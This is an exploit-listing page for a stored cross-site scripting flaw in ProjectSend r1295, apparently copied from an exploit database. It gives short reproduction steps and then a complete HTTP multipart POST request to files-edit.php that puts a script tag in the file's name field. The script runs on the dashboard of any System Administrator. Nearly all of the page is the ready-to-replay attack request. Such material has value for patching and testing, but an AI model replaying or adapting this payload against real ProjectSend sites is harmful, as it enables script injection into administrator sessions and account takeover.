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Projectsend r1295 name Stored XSS

CVE Category Price Severity
CVE-2020-26555 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2021-08-31
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021080102

Below is a copy:

Projectsend r1295 name Stored XSS
# Exploit Title: Projectsend r1295 - 'name' Stored XSS 
# Date: 30.08.2021
# Exploit Author: Abdullah Kala
# Vendor Homepage: https://www.projectsend.org/
# Software Link: https://www.projectsend.org/download/387/
# Version: r1295
# Tested on: Ubuntu 18.04 
# Description: Firstly add client group. After uploading the file from the user with any role, payload is written in the "title" part of the redirected page, add group your created and save. For users with the "System Administrator" role, xss is triggered on the "Dashboard" page.

POST /projectsend/files-edit.php?ids=1 HTTP/1.1
Host: 10.10.10.55
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------36890316955266305672634658708
Content-Length: 1323
Origin: http://10.10.10.55
Connection: close
Referer: http://10.10.10.55/projectsend/files-edit.php?ids=5
Cookie: menu_contracted=false; PHPSESSID=kvip7m24ib2d062hcaut3fbr2o
Upgrade-Insecure-Requests: 1

-----------------------------36890316955266305672634658708
Content-Disposition: form-data; name="csrf_token"

f53a148f0f952cb00c7e7edc63be5a3efd911d5c27de15eb78c7323a6d7b3c02
-----------------------------36890316955266305672634658708
Content-Disposition: form-data; name="file[1][id]"

1
-----------------------------36890316955266305672634658708
Content-Disposition: form-data; name="file[1][original]"

test.png
-----------------------------36890316955266305672634658708
Content-Disposition: form-data; name="file[1][file]"

1630247451-f2d3f09150beb76c7f2c83dc27732a0b23718875-kudur.png
-----------------------------36890316955266305672634658708
Content-Disposition: form-data; name="file[1][name]"

<script>alert(1)</script>
-----------------------------36890316955266305672634658708
Content-Disposition: form-data; name="file[1][description]"

test
-----------------------------36890316955266305672634658708
Content-Disposition: form-data; name="file[1][expiry_date]"

28-09-2021
-----------------------------36890316955266305672634658708
Content-Disposition: form-data; name="file[1][assignments][groups][]"

1
-----------------------------36890316955266305672634658708
Content-Disposition: form-data; name="save"


-----------------------------36890316955266305672634658708--

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